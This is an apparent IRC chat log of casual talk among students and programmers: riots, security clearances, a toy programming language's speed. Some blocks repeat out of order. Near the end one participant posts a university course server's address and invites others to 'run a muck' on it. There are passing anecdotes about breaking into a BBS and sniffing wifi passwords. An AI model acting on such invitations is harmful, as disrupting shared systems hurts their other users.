[2015-04-27T19:42:31-0400] <alokpathy> The team or the city?
[2015-04-27T19:42:35-0400] <alokpathy> Seems like both XD
[2015-04-27T19:43:46-0400] <jwoglom> the city :P
[2015-04-27T19:44:06-0400] <alokpathy> Yeah, lol
[2015-04-27T19:44:17-0400] <alokpathy> Lots of protesting
[2015-04-27T19:44:39-0400] <z3t> it's slowly moving towards DC
[2015-04-27T19:44:43-0400] <z3t> which should be interesting
[2015-04-27T19:46:01-0400] <jwoglom> i don't think it will affect DC at all
[2015-04-27T19:46:06-0400] <jwoglom> there's a lot of separation between the two
[2015-04-27T19:46:21-0400] <jwoglom> also, the rioting is about the baltimore police department
[2015-04-27T19:46:27-0400] <jwoglom> it wouldn't make sense for them to suddenly get mad at dc
[2015-04-27T19:46:42-0400] <jwoglom> now, if something else weird happened in DC and rioting started there..that might get interesting
[2015-04-27T19:47:12-0400] <z3t> it doesn't make sense for them to be looting and destroying stores
[2015-04-27T19:47:17-0400] <z3t> yet they're still doing that
[2015-04-27T19:47:22-0400] <z3t> so I think anything is possible
[2015-04-27T19:47:48-0400] <alokpathy> It still probably won't spread into DC I think
[2015-04-27T19:48:01-0400] <bob_twinkles> DC and Baltimore are sepreated by a few dozen miles of highway, I don't think people are going to be that mad
[2015-04-27T19:49:39-0400] <assface> weirdo east-coasters
[2015-04-27T19:49:51-0400] <bob_twinkles> goddamn liberal
[2015-04-27T19:51:01-0400] <assface> fascist
[2015-04-27T19:51:19-0400] <alokpathy> Hiterist.
[2015-04-27T19:51:25-0400] <alokpathy> s/Hiterist/Hitlerist
[2015-04-27T19:52:50-0400] <assface> related: http://smbc-comics.com/index.php?db=comics&id=2017#comic
[2015-04-27T19:53:47-0400] <bob_twinkles> politicians are actually all vikings
[2015-04-27T20:19:18-0400] <fwilson> confirmed
[2015-04-27T20:19:21-0400] <LittleBobbyTables> I wouldn't be scared of me
[2015-04-27T20:28:43-0400] <assface> you wouldn't?
[2015-04-27T20:28:48-0400] <LittleBobbyTables> Nope
[2015-04-27T20:53:21-0400] <alokpathy> Lol /r/shittyaskscience
[2015-04-27T21:03:37-0400] <JacobEdelman> one plan to combat nuclear missiles involved shooting xrays at them from space powered with... nuclear missiles
[2015-04-27T21:04:35-0400] <alokpathy> "If Superman is the Man of Steel, wouldn't a giant magnet be more effective than kryptonite?"
[2015-04-27T21:05:34-0400] <bob_twinkles> !s/missiles/bombs
[2015-04-27T21:05:50-0400] <bob_twinkles> and even the USAF has given up on that and they love themselves some lasers
[2015-04-27T21:06:18-0400] <JacobEdelman> but I wanna lasers!
[2015-04-27T21:06:19-0400] <bob_twinkles> people get nervous about nuclear weapons in orbit + fission pumped xrays are hard to design without live testing (which nobody can do)
[2015-04-27T21:06:44-0400] <bob_twinkles> lasers have a power falloff due to atmospheric scattering of roughly 1 / (r^2)
[2015-04-27T21:06:58-0400] <bob_twinkles> so they're _really_ inefficient at delivering power to the target
[2015-04-27T21:07:08-0400] <JacobEdelman> why can't we live test?
[2015-04-27T21:07:14-0400] <JacobEdelman> have the mythbusters do it
[2015-04-27T21:07:15-0400] <JacobEdelman> :P
[2015-04-27T21:07:19-0400] <bob_twinkles> because nuclear weapons?
[2015-04-27T21:08:08-0400] <JacobEdelman> so???
[2015-04-27T21:08:13-0400] <JacobEdelman> the mythbusters are responsible
[2015-04-27T21:08:17-0400] <JacobEdelman> they did special effects
[2015-04-27T21:08:23-0400] <JacobEdelman> and I just watched the third batman movie
[2015-04-27T21:08:27-0400] <JacobEdelman> and it had a nuclear weapon
[2015-04-27T21:08:45-0400] <JacobEdelman> ergo, good speciail effects people must know how to deal with nuclear weapons
[2015-04-27T21:08:54-0400] <bob_twinkles> flawless logic JacobEdelman 
[2015-04-27T21:09:04-0400] <JacobEdelman> thank you
[2015-04-27T21:09:09-0400] <bob_twinkles> you should write international nuclear proliferation policy 
[2015-04-27T21:09:13-0400] <JacobEdelman> yes, I shou;d
[2015-04-27T21:09:15-0400] <JacobEdelman> *should
[2015-04-27T21:09:34-0400] <JacobEdelman> although the spelling errors in that may result in massive amounts of nuclear expansion
[2015-04-27T21:10:04-0400] <bob_twinkles> use a spell checker, they're pretty good these days
[2015-04-27T21:10:15-0400] <JacobEdelman> "ad make sure to ever give all your frieds uclear weapos"
[2015-04-27T21:10:20-0400] <JacobEdelman> cause who needs the letter n
[2015-04-27T21:10:23-0400] <JacobEdelman> :P
[2015-04-27T21:10:28-0400] <JacobEdelman> bob_twinkles: I do, its just, speed
[2015-04-27T21:10:36-0400] <bob_twinkles> gotta go fast like sanic
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[2015-04-27T21:18:19-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=xklHhk05Mjw&feature=youtu.be
[2015-04-27T22:16:39-0400] <+awe> LittleBobbyTables: think you can perform some shady business to get me around $1,000?
[2015-04-27T22:16:46-0400] <+awe> LittleBobbyTables: My desktop is totally fried. :\
[2015-04-27T22:17:12-0400] <LittleBobbyTables> Are you going to find me the shady business
[2015-04-27T22:17:32-0400] <+awe> Iunno. I feel like you usually have shady business to do.
[2015-04-27T22:17:46-0400] <LittleBobbyTables> Not recently.
[2015-04-27T22:17:56-0400] <LittleBobbyTables> I've stayed out of it for awhile, it eats up too much time.
[2015-04-27T22:18:56-0400] <LittleBobbyTables> If you find me shady business, sure.
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[2015-04-27T22:25:08-0400] <LittleBobbyTables> hi chris
[2015-04-27T22:25:25-0400] <chris> hello
[2015-04-27T22:25:37-0400] <alokpathy> Welcome to pdgn! :D
[2015-04-27T22:25:57-0400] <chris> i have been here before
[2015-04-27T22:26:28-0400] <alokpathy> back to*
[2015-04-27T22:27:30-0400] <chris> lol ok bye
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[2015-04-27T22:28:55-0400] <Tamini> yo bob_twinkles:
[2015-04-27T22:29:01-0400] <Tamini> do you know a sathvik kadaveru
[2015-04-27T22:29:02-0400] <LittleBobbyTables>  "z3t sucks"
[2015-04-27T22:29:04-0400] <LittleBobbyTables> lel
[2015-04-27T22:29:09-0400] <Tamini> I think he's in 1/2 of your classes maybe
[2015-04-27T22:29:49-0400] <bob_twinkles> yeah, he's in my English class
[2015-04-27T22:30:29-0400] <alokpathy> Ah, so bob_twinkles only takes two classes in school
[2015-04-27T22:30:31-0400] <alokpathy> Interesting
[2015-04-27T22:30:40-0400] <bob_twinkles> lol I wish
[2015-04-27T22:31:03-0400] <alokpathy> Is he a cool kid?
[2015-04-27T22:31:06-0400] <alokpathy> As in
[2015-04-27T22:31:09-0400] <alokpathy> roommate material?
[2015-04-27T22:31:12-0400] <alokpathy> xD
[2015-04-27T22:31:43-0400] <bob_twinkles> Sathvik?
[2015-04-27T22:32:10-0400] <alokpathy> Mhm
[2015-04-27T22:32:24-0400] <bob_twinkles> I guess? I he has a pretty severe stutter so it takes him like 4 times as long to say anything
[2015-04-27T22:32:34-0400] <bob_twinkles> so I haven't exactly talked to him much
[2015-04-27T22:33:42-0400] <alokpathy> Have you heard much about him?
[2015-04-27T22:33:55-0400] <alokpathy> Beyond that?
[2015-04-27T22:34:26-0400] <bob_twinkles> no, not really. I don't have a facebook account to stalk people with and my circle of friends is pretty small
[2015-04-27T22:34:42-0400] <LittleBobbyTables> Wanna use my fake facebook
[2015-04-27T22:34:42-0400] <bob_twinkles> it doesn't intersect with his at all to the point where I didn't know he existed before this year
[2015-04-27T22:34:48-0400] <bob_twinkles> no thanks LittleBobbyTables 
[2015-04-27T22:34:49-0400] <LittleBobbyTables> It's literally the fakest thing ever
[2015-04-27T22:34:59-0400] <LittleBobbyTables> It has like 300 filipino friends
[2015-04-27T22:35:23-0400] <bob_twinkles> I hope you never want to get a security clearance LittleBobbyTables 
[2015-04-27T22:35:32-0400] <LittleBobbyTables> I have one already
[2015-04-27T22:35:33-0400] <alokpathy> He hardly uses FB, lol
[2015-04-27T22:35:35-0400] <jwoglom> bob_twinkles: why *not* have a facebook account in this day and age, honestly
[2015-04-27T22:35:36-0400] <alokpathy> We're FB friends
[2015-04-27T22:35:41-0400] <jwoglom> just so that you can communicate with people
[2015-04-27T22:35:56-0400] <alokpathy> FB is surprisngly more helpful than I thought it'd be
[2015-04-27T22:36:04-0400] <Tamini> he's also in like
[2015-04-27T22:36:06-0400] <+awe> LittleBobbyTables: I literally love that people always say that to you.
[2015-04-27T22:36:10-0400] <bob_twinkles> I'm lazy
[2015-04-27T22:36:11-0400] <Tamini> your parallel and linear classes is he not
[2015-04-27T22:36:16-0400] <LittleBobbyTables> awe: which part
[2015-04-27T22:36:24-0400] <+awe> LittleBobbyTables: "I hope you never want to get a security clearance LittleBobbyTables"
[2015-04-27T22:36:31-0400] <LittleBobbyTables> lol
[2015-04-27T22:37:07-0400] <bob_twinkles> did you get it for the sole purpose of saying "I have one already" to people who say "I hope you never want to get a security clearance LittleBobbyTables"
[2015-04-27T22:37:18-0400] <+awe> No, it's for his career.
[2015-04-27T22:37:21-0400] <LittleBobbyTables> I got it because it was required :(
[2015-04-27T22:37:45-0400] <bob_twinkles> you just really don't come across as the government security contractor type
[2015-04-27T22:37:46-0400] <jwoglom> why's that a bad thing
[2015-04-27T22:38:09-0400] <+awe> jwoglom: it means people investigated him.
[2015-04-27T22:38:09-0400] <bob_twinkles> it's not
[2015-04-27T22:38:09-0400] <LittleBobbyTables> I try
[2015-04-27T22:38:11-0400] <bob_twinkles> it's just a thing
[2015-04-27T22:38:20-0400] <jwoglom> awe: ..and they didn't find any problems
[2015-04-27T22:38:28-0400] <+awe> That just means they didn't try thoroughly enough.
[2015-04-27T22:38:28-0400] <+awe> :p
[2015-04-27T22:38:31-0400] <LittleBobbyTables> That they care about*
[2015-04-27T22:38:47-0400] <LittleBobbyTables> Being in Cyber Security and doing retarded shit when you're a kid doesn't phase them much
[2015-04-27T22:38:54-0400] <LittleBobbyTables> "I've changed and don't do it anymore", gg
[2015-04-27T22:39:21-0400] <jwoglom> still would make it much harder to get one, i would think
[2015-04-27T22:39:39-0400] <LittleBobbyTables> Everyone where I work has done stupid shit
[2015-04-27T22:39:49-0400] <LittleBobbyTables> One of my friends got his job because he did stupid shit
[2015-04-27T22:40:21-0400] <LittleBobbyTables> Broke into BBS of some site, owner found him, "hey kid come work for me"
[2015-04-27T22:40:34-0400] <bob_twinkles> nice
[2015-04-27T22:41:06-0400] <LittleBobbyTables> My boss is ex-military still sits here and sniffs wifi passwords and giggles like a kid whenever he gets one at work
[2015-04-27T22:41:29-0400] <bob_twinkles> sounds like a cool dude
[2015-04-27T22:43:06-0400] <LittleBobbyTables> Everyone is
[2015-04-27T23:02:42-0400] <sdamashek> oh good
[2015-04-27T23:02:49-0400] <sdamashek> I've been worried about that section on the form
[2015-04-27T23:04:00-0400] <Tamini> ?
[2015-04-27T23:04:25-0400] <sdamashek> the sf-86 has a "Misuse of IT systems" section that is very broad
[2015-04-27T23:04:42-0400] <+awe> Okay, so, desktop is actually working again. I guess RAM got loose or something.
[2015-04-27T23:05:27-0400] <jwoglom> that's why reseating the ram is always one of the first troubleshooting steps :P
[2015-04-27T23:05:56-0400] <+awe> Well, once I realized it was a hardware problem and I checked capacitors to make sure they weren't borked, I did that.
[2015-04-27T23:06:28-0400] <+awe> But I spent most of the time thinking it was software until I finally got a Windows boot USB and it wouldn't boot.
[2015-04-27T23:06:54-0400] <+awe> It seemed more likely to me that files got corrupt than the RAM got unseated.
[2015-04-27T23:07:29-0400] <jwoglom> heh. so it was getting to the BIOS?
[2015-04-27T23:08:24-0400] <+awe> Yeah.
[2015-04-27T23:09:11-0400] <LittleBobbyTables> u dun broke it
[2015-04-27T23:09:19-0400] <LittleBobbyTables> awe: wanna spend that 1000 bucks on me now Kappa
[2015-04-27T23:09:34-0400] <+awe> I don't have that money. I was proposing we attain it together.
[2015-04-27T23:09:39-0400] <LittleBobbyTables> :(
[2015-04-27T23:10:28-0400] <LittleBobbyTables> TINKER IS BACK BOIS
[2015-04-27T23:10:49-0400] <+awe> And by together, I mean that you do all the work and then kick me some of the money. :)
[2015-04-27T23:11:18-0400] <LittleBobbyTables> Find me the work
[2015-04-27T23:13:25-0400] <+awe> I don't need to now.
[2015-04-27T23:13:36-0400] <LittleBobbyTables> Do it anyway
[2015-04-27T23:13:39-0400] <LittleBobbyTables> I need money
[2015-04-27T23:20:56-0400] <LittleBobbyTables> DUSA BFURY BOIS
[2015-04-27T23:26:00-0400] <LittleBobbyTables> awe: wanna rewrite my paper for me
[2015-04-27T23:26:31-0400] <+awe> Probably not.
[2015-04-27T23:27:10-0400] <LittleBobbyTables> :(
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[2015-04-27T22:36:31-0400] <LittleBobbyTables> lol
[2015-04-27T22:37:08-0400] <bob_twinkles> did you get it for the sole purpose of saying "I have one already" to people who say "I hope you never want to get a security clearance LittleBobbyTables"
[2015-04-27T22:37:18-0400] <+awe> No, it's for his career.
[2015-04-27T22:37:20-0400] <LittleBobbyTables> I got it because it was required :(
[2015-04-27T22:37:45-0400] <bob_twinkles> you just really don't come across as the government security contractor type
[2015-04-27T22:37:46-0400] <jwoglom> why's that a bad thing
[2015-04-27T22:38:09-0400] <+awe> jwoglom: it means people investigated him.
[2015-04-27T22:38:09-0400] <bob_twinkles> it's not
[2015-04-27T22:38:09-0400] <LittleBobbyTables> I try
[2015-04-27T22:38:11-0400] <bob_twinkles> it's just a thing
[2015-04-27T22:38:20-0400] <jwoglom> awe: ..and they didn't find any problems
[2015-04-27T22:38:28-0400] <+awe> That just means they didn't try thoroughly enough.
[2015-04-27T22:38:28-0400] <+awe> :p
[2015-04-27T22:38:31-0400] <LittleBobbyTables> That they care about*
[2015-04-27T22:38:47-0400] <LittleBobbyTables> Being in Cyber Security and doing retarded shit when you're a kid doesn't phase them much
[2015-04-27T22:38:54-0400] <LittleBobbyTables> "I've changed and don't do it anymore", gg
[2015-04-27T22:39:21-0400] <jwoglom> still would make it much harder to get one, i would think
[2015-04-27T22:39:38-0400] <LittleBobbyTables> Everyone where I work has done stupid shit
[2015-04-27T22:39:49-0400] <LittleBobbyTables> One of my friends got his job because he did stupid shit
[2015-04-27T22:40:21-0400] <LittleBobbyTables> Broke into BBS of some site, owner found him, "hey kid come work for me"
[2015-04-27T22:40:34-0400] <bob_twinkles> nice
[2015-04-27T22:41:06-0400] <LittleBobbyTables> My boss is ex-military still sits here and sniffs wifi passwords and giggles like a kid whenever he gets one at work
[2015-04-27T22:41:29-0400] <bob_twinkles> sounds like a cool dude
[2015-04-27T22:43:06-0400] <LittleBobbyTables> Everyone is
[2015-04-27T23:02:42-0400] <sdamashek> oh good
[2015-04-27T23:02:49-0400] <sdamashek> I've been worried about that section on the form
[2015-04-27T23:04:00-0400] <Tamini> ?
[2015-04-27T23:04:25-0400] <sdamashek> the sf-86 has a "Misuse of IT systems" section that is very broad
[2015-04-27T23:04:42-0400] <+awe> Okay, so, desktop is actually working again. I guess RAM got loose or something.
[2015-04-27T23:05:27-0400] <jwoglom> that's why reseating the ram is always one of the first troubleshooting steps :P
[2015-04-27T23:05:57-0400] <+awe> Well, once I realized it was a hardware problem and I checked capacitors to make sure they weren't borked, I did that.
[2015-04-27T23:06:28-0400] <+awe> But I spent most of the time thinking it was software until I finally got a Windows boot USB and it wouldn't boot.
[2015-04-27T23:06:54-0400] <+awe> It seemed more likely to me that files got corrupt than the RAM got unseated.
[2015-04-27T23:07:29-0400] <jwoglom> heh. so it was getting to the BIOS?
[2015-04-27T23:08:24-0400] <+awe> Yeah.
[2015-04-27T23:09:11-0400] <LittleBobbyTables> u dun broke it
[2015-04-27T23:09:19-0400] <LittleBobbyTables> awe: wanna spend that 1000 bucks on me now Kappa
[2015-04-27T23:09:34-0400] <+awe> I don't have that money. I was proposing we attain it together.
[2015-04-27T23:09:39-0400] <LittleBobbyTables> :(
[2015-04-27T23:10:28-0400] <LittleBobbyTables> TINKER IS BACK BOIS
[2015-04-27T23:10:49-0400] <+awe> And by together, I mean that you do all the work and then kick me some of the money. :)
[2015-04-27T23:11:18-0400] <LittleBobbyTables> Find me the work
[2015-04-27T23:13:25-0400] <+awe> I don't need to now.
[2015-04-27T23:13:36-0400] <LittleBobbyTables> Do it anyway
[2015-04-27T23:13:39-0400] <LittleBobbyTables> I need money
[2015-04-27T23:20:56-0400] <LittleBobbyTables> DUSA BFURY BOIS
[2015-04-27T23:26:00-0400] <LittleBobbyTables> awe: wanna rewrite my paper for me
[2015-04-27T23:26:31-0400] <+awe> Probably not.
[2015-04-27T23:27:10-0400] <LittleBobbyTables> :(
[2015-04-27T23:31:22-0400] <LittleBobbyTables> Why not
[2015-04-27T23:45:48-0400] Mode is +nrt
[2015-04-27T23:46:02-0400] <+awe> LittleBobbyTables: I'm pretty sleepy, and I have a meeting with my research advisor in the morning.
[2015-04-27T23:51:37-0400] <LittleBobbyTables> .......
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[2015-04-28T06:26:30-0400] <JacobEdelman> gmorning all
[2015-04-28T06:37:57-0400] <fwilson> ayy lmao
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[2015-04-27T22:37:45-0400] <bob_twinkles> you just really don't come across as the government security contractor type
[2015-04-27T22:37:46-0400] <jwoglom> why's that a bad thing
[2015-04-27T22:38:09-0400] <+awe> jwoglom: it means people investigated him.
[2015-04-27T22:38:09-0400] <bob_twinkles> it's not
[2015-04-27T22:38:09-0400] <LittleBobbyTables> I try
[2015-04-27T22:38:11-0400] <bob_twinkles> it's just a thing
[2015-04-27T22:38:20-0400] <jwoglom> awe: ..and they didn't find any problems
[2015-04-27T22:38:28-0400] <+awe> That just means they didn't try thoroughly enough.
[2015-04-27T22:38:28-0400] <+awe> :p
[2015-04-27T22:38:31-0400] <LittleBobbyTables> That they care about*
[2015-04-27T22:38:47-0400] <LittleBobbyTables> Being in Cyber Security and doing retarded shit when you're a kid doesn't phase them much
[2015-04-27T22:38:54-0400] <LittleBobbyTables> "I've changed and don't do it anymore", gg
[2015-04-27T22:39:21-0400] <jwoglom> still would make it much harder to get one, i would think
[2015-04-27T22:39:38-0400] <LittleBobbyTables> Everyone where I work has done stupid shit
[2015-04-27T22:39:49-0400] <LittleBobbyTables> One of my friends got his job because he did stupid shit
[2015-04-27T22:40:21-0400] <LittleBobbyTables> Broke into BBS of some site, owner found him, "hey kid come work for me"
[2015-04-27T22:40:34-0400] <bob_twinkles> nice
[2015-04-27T22:41:06-0400] <LittleBobbyTables> My boss is ex-military still sits here and sniffs wifi passwords and giggles like a kid whenever he gets one at work
[2015-04-27T22:41:29-0400] <bob_twinkles> sounds like a cool dude
[2015-04-27T22:43:06-0400] <LittleBobbyTables> Everyone is
[2015-04-27T23:02:42-0400] <sdamashek> oh good
[2015-04-27T23:02:49-0400] <sdamashek> I've been worried about that section on the form
[2015-04-27T23:04:00-0400] <Tamini> ?
[2015-04-27T23:04:25-0400] <sdamashek> the sf-86 has a "Misuse of IT systems" section that is very broad
[2015-04-27T23:04:42-0400] <+awe> Okay, so, desktop is actually working again. I guess RAM got loose or something.
[2015-04-27T23:05:27-0400] <jwoglom> that's why reseating the ram is always one of the first troubleshooting steps :P
[2015-04-27T23:05:57-0400] <+awe> Well, once I realized it was a hardware problem and I checked capacitors to make sure they weren't borked, I did that.
[2015-04-27T23:06:28-0400] <+awe> But I spent most of the time thinking it was software until I finally got a Windows boot USB and it wouldn't boot.
[2015-04-27T23:06:54-0400] <+awe> It seemed more likely to me that files got corrupt than the RAM got unseated.
[2015-04-27T23:07:29-0400] <jwoglom> heh. so it was getting to the BIOS?
[2015-04-27T23:08:24-0400] <+awe> Yeah.
[2015-04-27T23:09:11-0400] <LittleBobbyTables> u dun broke it
[2015-04-27T23:09:19-0400] <LittleBobbyTables> awe: wanna spend that 1000 bucks on me now Kappa
[2015-04-27T23:09:34-0400] <+awe> I don't have that money. I was proposing we attain it together.
[2015-04-27T23:09:39-0400] <LittleBobbyTables> :(
[2015-04-27T23:10:28-0400] <LittleBobbyTables> TINKER IS BACK BOIS
[2015-04-27T23:10:49-0400] <+awe> And by together, I mean that you do all the work and then kick me some of the money. :)
[2015-04-27T23:11:18-0400] <LittleBobbyTables> Find me the work
[2015-04-27T23:13:25-0400] <+awe> I don't need to now.
[2015-04-27T23:13:36-0400] <LittleBobbyTables> Do it anyway
[2015-04-27T23:13:39-0400] <LittleBobbyTables> I need money
[2015-04-27T23:20:56-0400] <LittleBobbyTables> DUSA BFURY BOIS
[2015-04-27T23:26:00-0400] <LittleBobbyTables> awe: wanna rewrite my paper for me
[2015-04-27T23:26:31-0400] <+awe> Probably not.
[2015-04-27T23:27:10-0400] <LittleBobbyTables> :(
[2015-04-27T23:31:22-0400] <LittleBobbyTables> Why not
[2015-04-27T23:46:02-0400] <+awe> LittleBobbyTables: I'm pretty sleepy, and I have a meeting with my research advisor in the morning.
[2015-04-27T23:51:37-0400] <LittleBobbyTables> .......
[2015-04-28T06:26:30-0400] <JacobEdelman> gmorning all
[2015-04-28T06:37:57-0400] <fwilson> ayy lmao
[2015-04-28T10:19:39-0400] Mode is +nrt
[2015-04-28T10:26:51-0400] <JacobEdelman> lark is now ~1/7th the speed of Haskell for bad recursive Fibonacci number calculation
[2015-04-28T10:26:55-0400] <JacobEdelman> so, I'm happy
[2015-04-28T10:28:57-0400] <JacobEdelman> and thats when integers are programmed in lark rather than actually using the integer type from python
[2015-04-28T10:29:39-0400] <JacobEdelman> oh wait, maybe
[2015-04-28T10:29:45-0400] <JacobEdelman> I actually have no idea how bad haskell is
[2015-04-28T10:29:48-0400] <JacobEdelman> so I suppose it depends
[2015-04-28T10:30:02-0400] <JacobEdelman> awe: does haskell take 2 sec for fib(20) when the fib is bad?
[2015-04-28T10:30:10-0400] <JacobEdelman> cause thats what I think you told me
[2015-04-28T10:30:47-0400] <LittleBobbyTables> No you're just dumb
[2015-04-28T10:31:11-0400] <JacobEdelman> yeah, thats what I thought
[2015-04-28T10:31:12-0400] <JacobEdelman> :P
[2015-04-28T10:31:16-0400] <JacobEdelman> well, lark is awesome
[2015-04-28T10:33:24-0400] <LittleBobbyTables> no
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[2015-04-28T10:59:40-0400] <+awe> JacobEdelman: no, it's never that bad.
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[2015-04-28T11:28:04-0400] <jwoglom> alokpathy: o's postpone again!
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[2015-04-27T22:40:34-0400] <bob_twinkles> nice
[2015-04-27T22:41:06-0400] <LittleBobbyTables> My boss is ex-military still sits here and sniffs wifi passwords and giggles like a kid whenever he gets one at work
[2015-04-27T22:41:29-0400] <bob_twinkles> sounds like a cool dude
[2015-04-27T22:43:06-0400] <LittleBobbyTables> Everyone is
[2015-04-27T23:02:42-0400] <sdamashek> oh good
[2015-04-27T23:02:49-0400] <sdamashek> I've been worried about that section on the form
[2015-04-27T23:04:00-0400] <Tamini> ?
[2015-04-27T23:04:25-0400] <sdamashek> the sf-86 has a "Misuse of IT systems" section that is very broad
[2015-04-27T23:04:42-0400] <+awe> Okay, so, desktop is actually working again. I guess RAM got loose or something.
[2015-04-27T23:05:27-0400] <jwoglom> that's why reseating the ram is always one of the first troubleshooting steps :P
[2015-04-27T23:05:57-0400] <+awe> Well, once I realized it was a hardware problem and I checked capacitors to make sure they weren't borked, I did that.
[2015-04-27T23:06:28-0400] <+awe> But I spent most of the time thinking it was software until I finally got a Windows boot USB and it wouldn't boot.
[2015-04-27T23:06:54-0400] <+awe> It seemed more likely to me that files got corrupt than the RAM got unseated.
[2015-04-27T23:07:29-0400] <jwoglom> heh. so it was getting to the BIOS?
[2015-04-27T23:08:24-0400] <+awe> Yeah.
[2015-04-27T23:09:11-0400] <LittleBobbyTables> u dun broke it
[2015-04-27T23:09:19-0400] <LittleBobbyTables> awe: wanna spend that 1000 bucks on me now Kappa
[2015-04-27T23:09:34-0400] <+awe> I don't have that money. I was proposing we attain it together.
[2015-04-27T23:09:39-0400] <LittleBobbyTables> :(
[2015-04-27T23:10:28-0400] <LittleBobbyTables> TINKER IS BACK BOIS
[2015-04-27T23:10:49-0400] <+awe> And by together, I mean that you do all the work and then kick me some of the money. :)
[2015-04-27T23:11:18-0400] <LittleBobbyTables> Find me the work
[2015-04-27T23:13:25-0400] <+awe> I don't need to now.
[2015-04-27T23:13:36-0400] <LittleBobbyTables> Do it anyway
[2015-04-27T23:13:39-0400] <LittleBobbyTables> I need money
[2015-04-27T23:20:56-0400] <LittleBobbyTables> DUSA BFURY BOIS
[2015-04-27T23:26:00-0400] <LittleBobbyTables> awe: wanna rewrite my paper for me
[2015-04-27T23:26:31-0400] <+awe> Probably not.
[2015-04-27T23:27:10-0400] <LittleBobbyTables> :(
[2015-04-27T23:31:22-0400] <LittleBobbyTables> Why not
[2015-04-27T23:46:02-0400] <+awe> LittleBobbyTables: I'm pretty sleepy, and I have a meeting with my research advisor in the morning.
[2015-04-27T23:51:37-0400] <LittleBobbyTables> .......
[2015-04-28T06:26:30-0400] <JacobEdelman> gmorning all
[2015-04-28T06:37:57-0400] <fwilson> ayy lmao
[2015-04-28T10:26:50-0400] <JacobEdelman> lark is now ~1/7th the speed of Haskell for bad recursive Fibonacci number calculation
[2015-04-28T10:26:54-0400] <JacobEdelman> so, I'm happy
[2015-04-28T10:28:56-0400] <JacobEdelman> and thats when integers are programmed in lark rather than actually using the integer type from python
[2015-04-28T10:29:38-0400] <JacobEdelman> oh wait, maybe
[2015-04-28T10:29:45-0400] <JacobEdelman> I actually have no idea how bad haskell is
[2015-04-28T10:29:48-0400] <JacobEdelman> so I suppose it depends
[2015-04-28T10:30:01-0400] <JacobEdelman> awe: does haskell take 2 sec for fib(20) when the fib is bad?
[2015-04-28T10:30:09-0400] <JacobEdelman> cause thats what I think you told me
[2015-04-28T10:30:46-0400] <LittleBobbyTables> No you're just dumb
[2015-04-28T10:31:10-0400] <JacobEdelman> yeah, thats what I thought
[2015-04-28T10:31:11-0400] <JacobEdelman> :P
[2015-04-28T10:31:15-0400] <JacobEdelman> well, lark is awesome
[2015-04-28T10:33:23-0400] <LittleBobbyTables> no
[2015-04-28T10:59:40-0400] <+awe> JacobEdelman: no, it's never that bad.
[2015-04-28T11:28:03-0400] <jwoglom> alokpathy: o's postpone again!
[2015-04-28T14:10:38-0400] <JacobEdelman> awe: what is it for 30?
[2015-04-28T14:53:35-0400] Mode is +nrt
[2015-04-28T14:53:57-0400] <+awe> JacobEdelman: how bad of an implementation
[2015-04-28T14:54:12-0400] <+awe> JacobEdelman: fib n = fib (n - 1) + fib (n - 2)?
[2015-04-28T14:56:19-0400] <+awe> Prelude> fib 20
[2015-04-28T14:56:19-0400] <+awe> 10946
[2015-04-28T14:56:19-0400] <+awe> (0.02 secs, 8286984 bytes)
[2015-04-28T14:56:19-0400] <+awe> Prelude> fib 30
[2015-04-28T14:56:19-0400] <+awe> 1346269
[2015-04-28T14:56:19-0400] <+awe> (2.57 secs, 791849752 bytes)
[2015-04-28T14:59:13-0400] <+awe> LittleBobbyTables: If his 1/7th was based off of the 2s estimate, his language is actually 1/700th the speed of Haskell. :p
[2015-04-28T15:00:02-0400] <LittleBobbyTables> Haskell is already slow though
[2015-04-28T15:05:54-0400] <jwoglom> alokpathy: they're going to play in an...empty stadium??
[2015-04-28T15:06:28-0400] <LittleBobbyTables> awe http://www.polyglotweekly.com/2015/04/24/thoughts-of-a-rustacean-learning-go.html
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[2015-04-28T15:14:02-0400] <apothy> jwoglom: wat
[2015-04-28T15:15:12-0400] <jwoglom> http://twitter.com/orioles
[2015-04-28T15:16:19-0400] <jwoglom> https://twitter.com/orioles/status/593124360963031040
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[2015-04-28T15:47:04-0400] <+awe> Argh, that was really frustrating. I accidentally switched HipChat to the old version because I thought it might be a beta or something.
[2015-04-28T15:47:13-0400] <+awe> But then there was no option to switch back to the latest version.
[2015-04-28T15:47:31-0400] <+awe> Thankfully, I tried in Chrome and it worked. So, I just cleared my cookies from the last hour and then did it.
[2015-04-28T15:47:39-0400] <+awe> And now it works.
[2015-04-28T15:49:40-0400] <JacobEdelman> awe: lark is now lazy!
[2015-04-28T15:49:45-0400] <JacobEdelman> which is needed for if statements to work
[2015-04-28T15:49:57-0400] <JacobEdelman> now, I think I'll add in bools
[2015-04-28T15:50:00-0400] <JacobEdelman> then go to a release
[2015-04-28T15:50:05-0400] <JacobEdelman> actually
[2015-04-28T15:50:11-0400] <JacobEdelman> I'll release now, add in booleans later
[2015-04-28T15:50:15-0400] <JacobEdelman> who needs booleans
[2015-04-28T15:50:28-0400] <+awe> JacobEdelman: lol
[2015-04-28T15:50:34-0400] <+awe> JacobEdelman: Not C. C doesn't need 'em.
[2015-04-28T15:50:53-0400] <JacobEdelman> (100% of the boolean stuff can be done within lark but < and > have to be hardcoded in)
[2015-04-28T15:51:31-0400] <JacobEdelman> once I do that I'll test it by making a sort
[2015-04-28T15:51:39-0400] <JacobEdelman> which I'm 85% sure will work fine
[2015-04-28T15:54:56-0400] <JacobEdelman> https://www.irccloud.com/pastebin/iY5MkRkX
[2015-04-28T15:54:59-0400] <JacobEdelman> that works
[2015-04-28T15:55:26-0400] <JacobEdelman> oh wait
[2015-04-28T15:55:27-0400] <JacobEdelman> I lied
[2015-04-28T15:55:28-0400] <JacobEdelman> oops
[2015-04-28T15:57:56-0400] <+awe> Oh my god. Get this.
[2015-04-28T15:58:15-0400] <+awe> The final project for my systems course involves connecting to a server that they're running.
[2015-04-28T15:58:21-0400] <+awe> It's single-threaded, and can only handle a single client at a time.
[2015-04-28T15:58:50-0400] <z3t> IP pls
[2015-04-28T15:58:58-0400] <+awe> elnux1.cs.umass.edu 48579
[2015-04-28T15:59:00-0400] <+awe> Run a muck. Please.
[2015-04-28T15:59:01-0400] <+awe> :)
[2015-04-28T15:59:15-0400] <kenzierocks> lbt please
[2015-04-28T15:59:37-0400] <z3t> the hell is a "spire id"
[2015-04-28T15:59:58-0400] <+awe> It's your user id. You can put in whatever.
[2015-04-28T16:00:17-0400] <z3t> "FAILURE: incorrect spire id size."
[2015-04-28T16:00:22-0400] <z3t> What's the correct size :(
[2015-04-28T16:01:23-0400] <z3t> Ah there we go, 8 chars.
